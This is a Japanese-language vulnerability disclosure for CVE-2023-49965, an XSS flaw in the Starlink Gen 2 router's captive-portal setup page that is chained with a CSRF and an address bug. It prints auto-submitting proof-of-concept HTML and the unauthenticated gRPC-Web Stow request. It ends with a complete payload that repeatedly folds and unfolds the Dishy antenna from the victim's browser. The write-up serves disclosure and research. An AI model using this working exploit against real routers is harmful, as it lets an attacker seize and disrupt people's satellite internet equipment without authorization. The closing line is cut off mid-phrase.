
CVE-2023-49965 | SpaceX / Starlink ルーター Gen 2 XSS
この投稿の韓国語版はこちらでご覧いただけます :
https://hackintoanetwork.com/blog/2023-starlink-router-gen2-xss-kor
第2世代ルーターの初期captive portalページに存在するCross-Site Scripting (XSS)脆弱性により、攻撃者がrouterとDishyを制御できる可能性があります。

この脆弱性は、初期ルーターセットアップページ (http://192.168.1.1/setup) のssidおよびpasswordパラメータに対する入力値のフィルタリングが不十分なために発生します。
<html>
<body>
<h1>Proof of Concept</h1>
<form id="PoC" method="POST" action="http://192.168.1.1/setup">
<input type="hidden" name="ssid" value='" onfocus=javascript:alert(`XSS`); autofocus="'>
<!-- <input type="hidden" name="password" value='" onfocus=javascript:alert(`XSS`); autofocus="'> -->
</form>
<script type="text/javascript">
document.addEventListener("DOMContentLoaded", function() {
document.getElementById("PoC").submit();
});
</script>
</body>
<html>
このCross-Site Scripting (XSS)脆弱性は、上記の概念実証に示されているように、Cross-Site Request Forgery (CSRF)攻撃と組み合わせて利用される可能性があります。
通常、captive portalページはルーターの内部アドレスである192.168.1.1でのみ有効になるはずですが、旧型ルーターにはDishyの内部アドレスである192.168.100.1からcaptive portalページに予期せずアクセスできるバグがありました。
http://192.168.1.1/setup → captive portalページが正しく表示されます。

http://192.168.100.1/setup → このアドレスでもcaptive portalページが表示されます。

(通常、Dishyの内部アドレス192.168.100.1ではcaptive portalページにアクセスできないはずです。)
このバグをCross-Site Scripting (XSS)脆弱性と組み合わせると、ブラウザのSame-Origin Policy (SOP)を回避でき、ルーターとDishyの両方を制御できるようになります。
http://192.168.100.1/setupのアドレスでも同じCross-Site Scripting (XSS)脆弱性が発生することを確認できます。
では、これらのバグを利用してRouterとDishyを制御する方法を見てみましょう。

管理者インターフェースからStowコマンドを発行すると、次のHTTPリクエストがDishyに送信されます。
(注:Stowコマンドは、移動や保管のためにDishyアンテナを折りたたむコマンドです。)
POST /SpaceX.API.Device.Device/Handle HTTP/1.1
Host: 192.168.100.1:9201
Content-Length: 8
x-grpc-web: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.63 Safari/537.36
content-type: application/grpc-web+proto
Accept: */*
Origin: http://dishy.starlink.com
Referer: http://dishy.starlink.com/
Accept-Encoding: gzip, deflate, br
Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
�}
このリクエストのヘッダーには、いくつかの重要な情報が含まれています。
x-grpc-web: 1
これは**gRPC-Web**プロトコルの使用を示しています。
(**gRPC-Web**は、WebクライアントがgRPC呼び出しをサーバーに対して行えるようにするプロトコルです。)
content-type: application/grpc-web+proto
送信されるデータがgRPCプロトコルを使用し、protobuf形式でエンコードされていることを示します。
リクエストボディ

Dishy Stowリクエストボディ(Hex)
\x00\x00\x00\x00\x03\xef\xbf\xbd\x7d\x00
リクエストボディには**grpc-web+proto形式のデータが含まれており、Stow**コマンドの詳細が格納されていると考えられます。
これらの情報をまとめると、ユーザーが管理者インターフェースでStowコマンドを発行すると、コマンドはgRPCを介してDishyに送信され、Dishyが携帯用の状態に折りたたまれます。
しかし、このリクエストを見ると、送信者に対する認証がないことがわかります。
つまり、管理者以外の人物でも同じリクエストを送信し、権限なしにDishyを制御できる可能性があるということです。ただし、この脆弱性を悪用するには攻撃者がローカルネットワークへの物理アクセスを持つ必要があり、リモートで発生する攻撃と比較すると攻撃範囲は限定されます。
そうすると、同じリクエストを送信するペイロードを使ったCross-Site Request Forgery (CSRF)攻撃を試みることができると考えるかもしれません。
これは可能性のあるシナリオですが、ブラウザのSame-Origin Policy (SOP)によりこの攻撃は制限されます。
gRPCは、application/grpc-web+protoと呼ばれる特定のcontent-typeヘッダーを必要とします。
しかし、Same-Origin Policy (SOP)により、ブラウザは他のオリジンからリクエストを送信する際にこのヘッダーを除去します。
そのため、通常の状況では外部からDishyにgRPCリクエストを送信することは不可能です。
通常、Same-Origin Policy (SOP)は、Webブラウザが異なるオリジンからのリクエストを行うことを制限します。
しかし、Cross-Site Scripting (XSS)脆弱性を利用すると、攻撃者は被害者のWebブラウザ内でスクリプトを実行できます。
Cross-Site Scripting (XSS)脆弱性を利用して攻撃者によって注入されたスクリプトは、同一のオリジン(つまり、被害者が現在閲覧しているWebサイト)から実行されたものと見なされます。
このため、Same-Origin Policy (SOP)はこれらのスクリプトによって生成されたリクエストを同一オリジンからのものと認識し、Same-Origin Policy (SOP)の制限はこの場合適用されません。
したがって、gRPCリクエストのように特定のcontent-typeヘッダーを必要とするCross-Site Scripting (XSS)脆弱性を利用したCross-Site Request Forgery (CSRF)攻撃では、攻撃スクリプトが被害者のブラウザ内で実行されるため、リクエストは正当なリクエストとして認識され、この特定のcontent-typeヘッダー付きで送信されます。
例えば、192.168.100.1のバグとCross-Site Scripting (XSS)脆弱性を連鎖させることで、攻撃者は悪意のあるスクリプトを送信し、ユーザーのブラウザをプロキシとしてRouterやDishyにgrpcリクエストを送信させて操作することができます。(攻撃者は、DishyのStowおよびUnstowコマンドを含むさまざまなgrpcリクエストを送信できます。)
したがって、Cross-Site Scripting (XSS)脆弱性と前述のバグを連鎖させることで、DishyにStow gRPCリクエストを送信するペイロードは次のように構築できます。(結果として、攻撃者はrouterやDishyをリモートで制御できます。例えば、grpcコマンドを送信してルーター設定を変更したり、Dishyの機能を操作したりできます。)
<html>
<body>
<h1>Dishy Stow and Unstow</h1>
<form id="PoC" method="POST" action="http://192.168.100.1/setup">
<!-- <input type="hidden" name="ssid" value='" onfocus=javascript:alert(`XSS`); autofocus="'> -->
<input type="hidden" name="password" value='"><script>for(let i=0;i<100;i++){setTimeout(()=>{var xhr=new XMLHttpRequest();xhr.open("POST","http://192.168.100.1:9201/SpaceX.API.Device.Device/Handle",true);xhr.setRequestHeader("x-grpc-web","1");xhr.setRequestHeader("Content-Type","application/grpc-web+proto");xhr.onreadystatechange=()=>{if(xhr.readyState==4&&xhr.status==200){console.log(xhr.responseText);}};xhr.send(new Uint8Array([0,0,0,0,3,146,125,0]).buffer);setTimeout(()=>{var xhr2=new XMLHttpRequest();xhr2.open("POST","http://192.168.100.1:9201/SpaceX.API.Device.Device/Handle",true);xhr2.setRequestHeader("x-grpc-web","1");xhr2.setRequestHeader("Content-Type","application/grpc-web+proto");xhr2.onreadystatechange=()=>{if(xhr2.readyState==4&&xhr2.status==200){console.log(xhr2.responseText);}};xhr2.send(new Uint8Array([0,0,0,0,5,146,125,2,8,1]).buffer);},1000);},i*2000);}</script><input type="hidden'/>
</form>
<script type="text/javascript">
document.addEventListener("DOMContentLoaded", function() {
document.getElementById("PoC").submit();
});
</script>
</body>
<html>
$500 USD)2023.48.0以降に含まれています)